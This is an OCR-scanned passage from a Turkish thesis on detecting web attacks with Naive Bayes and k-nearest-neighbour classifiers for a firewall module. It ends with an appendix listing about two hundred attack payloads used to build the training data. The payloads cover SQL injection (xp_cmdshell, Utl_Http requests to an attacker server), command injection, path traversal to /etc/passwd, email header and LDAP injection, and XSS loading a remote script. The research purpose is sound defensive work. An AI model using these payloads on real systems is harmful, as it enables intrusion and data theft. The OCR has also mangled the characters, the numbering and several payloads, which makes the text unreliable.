kaydedilmistir. Saldir1 trafiginin olusturulmasinda gilincel saldir1 tekniklerini raporlayan

OWASP Top Ten dikkate alinarak SQL enjeksiyonu, XSS, giivensiz dogrudan nesne
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referanslar1 (IDOR) gibi giincel ve etkin saldirilar olusturulmustur. Bu kayitlar gerekli veri

Onisleme ve diizenleme islemlerinden sonra bir veri seti olusturulmustur.

Olusturulan veri seti kullanilarak veri madenciliginde ¢ok kullanilan karar agaci, Naive
Bayes siniflandirma algoritmasi, k-en yakin komsu siniflandirma algoritmasi ve bu
algoritmalarin performanslar1 kiyaslamak i¢in ZeroR algoritmasi kullanilarak ¢ok sayida
siniflandirma modeli olusturulmustur. Bu modellerin siniflandirma basarimlar1 ve
performans karsilastirmalar1 yapilmistir. Buna gore olusturulan veri seti i¢in en uygun
algoritmalar Naive Bayes istatistiksel tabanli siniflandirma ve k-en yakin komsu olarak

belirlenmistir.

Ilgili web sitesine gelecek saldirilarin tespit edilmesinde kullanmak iizere Naive Bayes
siniflandirma algoritmasina dayali bir web uygulama giivenlik duvart modiili

olusturulmustur. Bu modiil python programlama dili kullanilarak ger¢eklestirilmistir.

Bu tez caligmasindan Naive Bayes smiflandirma algoritmasinin ve k-en yakin komsu
algoritmasinin giincel web saldirilarinin tespitinde kullanilabilecegi ortaya ¢ikmistir. Karar
agaci algoritmasi ya ¢ok biiyiik boyutlu agaclar olusturarak ezberlemeye sebep olmakta ya
da kritik web uygulamalarint koruyacak siniflandirma basarisina sahip bir model
cikarmamaktadir. Farkli veri setlerinin kullanilmasi durumunda daha iyi smiflandirma
basarim sonuglar1 ortaya ¢ikabilecegi goz ardi edilmemelidir. Naive Bayes algoritmasinin
basarili olmasinin sebebi istatistiksel bir algoritma olmasindan kaynaklanmaktadir. Zaman

performansi acisindan tiim algoritmalar yeterli performansi gostermektedir.

Bu tez ¢aligmasindan ortaya ¢ikan diger bir sonug ise giivenlik saglamaya yonelik araclar
gelistirilmesinde veri madenciligi ve makine 6grenmesi algoritmalart ¢ok 1yi sonuglar
verdigidir. Imza tabanl giivenlik sistemine gére en biiyiik avantaji, daha 6nce tanitilmayan

bir saldir1 tiirii ile karsilagtiginda, bu yeni saldir tiiriine ait trafigi de tanimasidir.
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EK-1. Saldir1 veri girisleri

Cizelge 1.1. Saldirt trafiginin olusturulmasinda kullanilan veri giris degerleri

@OO\I@U‘ILOOI\)I—‘ZJ
q
]

WWWWWWwWWWWNDNDNDDNDDNMNNNNNREPRPPRPERPEPRPERPERPRREREREER
O 00 NO Ol WNPFP OWOWOLONOOULE, WONPFP OOOLONO O WDNPEFE O

Saldin1 Veri Girisleri (Attack Payloads)

‘or 1=1--

lor1=1--

"or 1in (@@version)--
lorlin(@@version)--

" waitfor delay '0:30:0'--

1; waitfor delay '0:30:0'--
'[|Utl_Http.request(‘http://<yourservername>") from dual-- => payloadl
1||Utl_Http.request('http://<yourservername>') from dual-- => payload?2
xsstest

xsstest%00"<>"' => payload

</foo>

<foo></foo>

D))

L Jete/passwd
oA Iboot.ini
ALV \ete\passwd
AL \boot.ini
oA lwindows/win.ini
AL \windows\win.ini
|| ping -1 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 & => payload3
| ping -i 30 127.0.0.1 | => payload4
| ping -n 30 127.0.0.1 | => payload5
& ping -i 30 127.0.0.1 &

& ping -n 30 127.0.0.1 &

; ping 127.0.0.1;

%0a ping -i 30 127.0.0.1 %0a

“ping 127.0.0.1°

| id =>payload7

& id

;id

%0a id %0a

i

;echo 111111

echo 111111

response.write 111111
‘response.write 111111
http://<yourservername>/

115



116

EK-1. (devam) Saldir1 veri girisleri

40
41
42
43
44

45

46
47
48
49
50
51
52
53
54

55

56

57

58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

<youremail>%0aCc:<youremail>
<youremail>%0d%0aCc:<youremail>
<youremail>%0aBcc:<youremail>
<youremail>%0d%0aBcc:<youremail>

%0aDATA%0afo0%0a%2e%0aMAIL+FROM:+<youremail>%0aRCPT+TO:+<y
ouremail>%0aDATA%0aFrom:+<youremail>%0aTo0:+<youremail>%0aSubject:
+tst%0afo0%0a%2e%0a
%0d%0aDATA%0d%0afo0%0d%0a%2e%0d%0aMAIL+FROM:+<youremail>
%0d%0aRCPT+TO:+<youremail>%0d%0aDATA%0d%0aFrom:+<youremail>%
0d%0aTo:+<youremail>%0d%0aSubject:+test%0d%0afo0%0d%0a%2e%0d%0a

a'or 1=1--

a"orl=1--

ora=a

aora="

lorl=1

a' waitfor delay '0:0:10'--
1 waitfor delay '0:0:10'--

declare @q nvarchar (200) select @q =
0x770061006900740066006F0072002000640065006C006100790020002700300
03A0030003A0031003000270000 exec(@q)

declare @s varchar(200) select @s =
0x77616974666F722064656C61792027303A303A31302700 exec(@s)

declare @q nvarchar (200)
0x730065006c00650063007400200040004000760065007200730069006f006€00

exec(@q)
declare @s varchar (200) select @s = 0x73656¢65637420404076657273696f6e

exec(@s)

3

?

‘orl=1

?orl=1--

X" AND userid IS NULL; --

X" AND email IS NULL; --

anything' OR 'x'="x

X" AND 1=(SELECT COUNT(*) FROM tabname); --
X" AND members.email IS NULL; --

X" OR full_name LIKE '%Bob%

230R 1=1

'; exec master..xp_cmdshell 'ping 172.10.1.255'--

'%200r%20"="'
'%200r%20'x'="X



EK-1. (devam) Saldir1 veri girisleri

73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114

%200r%20x=X
1%200r%20('x'="X
Oorl=1

"or 0=0 --

or 0=0 --

or 0=0 --
'or0=0#

or 0=0 #"

or 0=0 #
"or1=1--

or 1=1--
‘or'1'="1"--
‘orl--

or 1=1--
0r%201=1
0r%201=1 --
‘orl=1lor"=
orl1=1or"'=
'or a=a--

or a=a

or (‘a'="a

) or (a=a

hi or a=a
hior 1=1 --"
hi' or 1=1 --
hi' or 'a'="a
hi") or (‘a'="a
hi") or ("a"="a
'hi* or 'x'="Xx",
@variable
,@variable
PRINT
PRINT @@variable
select

insert

as

or

procedure
limit

order by

asc

desc
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115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156

delete

update

distinct

having

truncate

replace

like

handler

bfilename

"or username like '%
"or uname like '%

"or userid like '%

"or uid like '%

"or user like '%

exec xXp

exec sp

", exec master..xp_cmdshell
', exec xp_regread
t'exec master..xp_cmdshell 'nslookup www.google.com'--
#AD?

\x27UNION SELECT
"UNION SELECT
"UNION ALL SELECT
"or (EXISTS)
"(selecttop 1
lUTL_HTTP.REQUEST => payload8
1;SELECT%20*
to_timestamp_tz
tz_offset

<>"00;)(&+
'%200r%201=1
%27%200r%201=1
%20%(sleep%2050)
%20'sleep%2050'
char%4039%41%2b%40SELECT
&apos;%200R
'sglattemptl
(sqlattempt?2)

| =>payload9

%7C

*| =>payload10
%2A%7C
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157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180

181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196

. (devam) Saldir1 veri girisleri

*(|(mail=*)) => payload11l
%2A%28%7C%28mail%3D%2A%29%29
*(|(objectclass=*)) =>payload12
%2A%28%7C%280bjectclass%3D%2A%29%29
(

28%

)

29%

&

26%

!

21%

‘or1=1or"=

"or "=

x'or 1=1 or 'X'='y

/

1

I*

*/*

a' or 3=3--

a" or 3=3--

"or 3=3

? or 3=3 --
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“alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//
"-alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode<script>ale

rt(‘'xss")</script>

[[--><[SCRIPT>">"><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

" 1--"<XSS>=&{()}

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert("XSS");">

<IMG SRC=javascript:alert("XSS")>

<IMG SRC=javascrscriptipt:alert("XSS")>

<IMG SRC=JaVaScRiPt:alert("XSS")>

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

<IMG SRC=" &#14; javascript:alert("XSS");">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
\";alert("XSS");//
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
<TABLE><TD BACKGROUND="javascript:alert("XSS")">
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197 <DIV STYLE="background-image: url(javascript:alert("’XSS"))">

198 <DIV STYLE="background-
image:\0075\0072\006C\0028"006a\0061\0076\0061\0073\0063\0072\0069\0070\
0074\003a\0061\006¢\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029"00
29">

199 <DIV STYLE="width: expression(alert("XSS"));">
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